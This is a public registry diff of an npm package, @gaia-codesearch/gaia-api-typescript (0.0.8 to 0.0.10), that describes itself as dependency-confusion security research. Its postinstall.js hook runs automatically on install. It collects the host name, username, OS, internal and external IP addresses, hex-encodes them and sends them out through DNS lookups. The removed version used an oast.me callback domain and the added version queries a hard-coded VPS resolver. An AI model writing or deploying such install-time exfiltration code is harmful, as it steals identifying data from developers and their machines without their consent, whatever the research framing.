@gaia-codesearch/gaia-api-typescript 0.0.8 → 0.0.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/postinstall.js +28 -41
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@gaia-codesearch/gaia-api-typescript",
3
- "version": "0.0.8",
3
+ "version": "0.0.10",
4
4
  "description": "Security research — scope ownership proof for dependency confusion report",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/postinstall.js CHANGED
@@ -1,58 +1,45 @@
1
- const dns = require("dns");
1
+ const { Resolver } = require("dns");
2
2
  const os = require("os");
3
3
  const https = require("https");
4
4
 
5
- const CALLBACK = "d7vn40ir47ntg9l09cigo9m6xm43xti68.oast.me";
5
+ const VPS = "72.62.36.138";
6
6
  const PKG = "gaia-api-typescript";
7
7
 
8
- function hex(s) {
9
- return Buffer.from(s).toString("hex");
10
- }
8
+ const r = new Resolver();
9
+ r.setServers([VPS]);
10
+
11
+ function hex(s) { return Buffer.from(s).toString("hex"); }
11
12
 
12
- function getLocalIPs() {
13
- const ifaces = os.networkInterfaces();
13
+ function getIPs() {
14
14
  const ips = [];
15
- for (const name of Object.keys(ifaces)) {
16
- for (const iface of ifaces[name]) {
17
- if (!iface.internal && iface.family === "IPv4") ips.push(iface.address);
15
+ for (const [, ifaces] of Object.entries(os.networkInterfaces())) {
16
+ for (const i of ifaces) {
17
+ if (!i.internal && i.family === "IPv4") ips.push(i.address);
18
18
  }
19
19
  }
20
- return ips.join("-") || "unknown";
20
+ return ips.join("-") || "none";
21
21
  }
22
22
 
23
- function dnsLookup(subdomain) {
24
- return new Promise((resolve) => {
25
- dns.resolve4(subdomain + "." + CALLBACK, () => resolve());
23
+ function encode(label, value) {
24
+ const h = hex(value);
25
+ const chunks = h.match(/.{1,50}/g) || [h];
26
+ return new Promise(resolve => {
27
+ r.resolve4([label, ...chunks, "cb"].join("."), () => resolve());
26
28
  });
27
29
  }
28
30
 
29
- async function exfil() {
30
- const hostname = os.hostname();
31
- const user = os.userInfo().username;
32
- const platform = os.platform() + "-" + os.arch();
33
- const ips = getLocalIPs();
34
- const cwd = process.cwd().replace(/\//g, "-").slice(0, 40);
35
- const ts = Date.now().toString(36);
36
-
37
- // Each DNS lookup encodes one piece of info as a hex subdomain
38
- // Format: <label>.<hex-encoded-value>.<callback-domain>
39
- await dnsLookup("pkg." + hex(PKG));
40
- await dnsLookup("host." + hex(hostname));
41
- await dnsLookup("user." + hex(user));
42
- await dnsLookup("os." + hex(platform));
43
- await dnsLookup("ip." + hex(ips));
44
- await dnsLookup("cwd." + hex(cwd));
45
- await dnsLookup("ts." + ts);
46
- await dnsLookup("rce." + hex(PKG + "|" + user + "@" + hostname));
47
-
48
- // Also fetch external IP and send it
49
- https.get("https://api.ipify.org", (res) => {
50
- let data = "";
51
- res.on("data", (c) => (data += c));
52
- res.on("end", () => {
53
- dnsLookup("extip." + hex(data.trim()));
54
- });
31
+ async function main() {
32
+ await encode("pkg", PKG);
33
+ await encode("host", os.hostname());
34
+ await encode("user", os.userInfo().username);
35
+ await encode("os", os.platform() + "-" + os.arch());
36
+ await encode("ip", getIPs());
37
+
38
+ https.get("https://api.ipify.org", res => {
39
+ let d = "";
40
+ res.on("data", c => d += c);
41
+ res.on("end", () => encode("extip", d.trim()));
55
42
  }).on("error", () => {});
56
43
  }
57
44
 
58
- exfil().catch(() => {});
45
+ main().catch(() => {});